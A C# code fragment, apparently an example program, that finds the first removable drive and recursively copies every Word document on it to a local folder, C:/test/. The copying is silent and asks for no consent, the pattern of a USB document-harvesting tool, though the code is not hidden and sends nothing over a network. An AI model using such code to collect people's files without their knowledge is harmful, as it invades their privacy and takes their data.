public static void ListAllFiles(FileSystemInfo info)
        {
            if (!info.Exists) return;

            DirectoryInfo dir = info as DirectoryInfo;
            //不是目录 
            if (dir == null) return;

            FileSystemInfo[] files = dir.GetFileSystemInfos();
            for (int i = 0; i < files.Length; i++)
            {
                FileInfo file = files[i] as FileInfo;
                //是文件 
                if (file != null)
                {
                    //是否是一个word文件
                    if (file.Extension == ".doc" || file.Extension == ".docx")
                    {
                        //这里是拷贝到C盘，可以换做其他处理
                        if (File.Exists("C:/test/" + file.Name))
                        {
                            file.CopyTo("C:/test/" + Guid.NewGuid() + file.Extension);
                        }
                        else
                        {
                            file.CopyTo("C:/test/" + file.Name);
                        }
                    }
                }
                //对于子目录，进行递归调用 
                else
                    ListAllFiles(files[i]);

            }
        }

        public static void Main()
        {
            foreach (DriveInfo di in DriveInfo.GetDrives())
            {
                //判断是否为可移动磁盘
                if (di.DriveType == DriveType.Removable)
                {
                    ListAllFiles(di.RootDirectory);
                    break;
                }
            }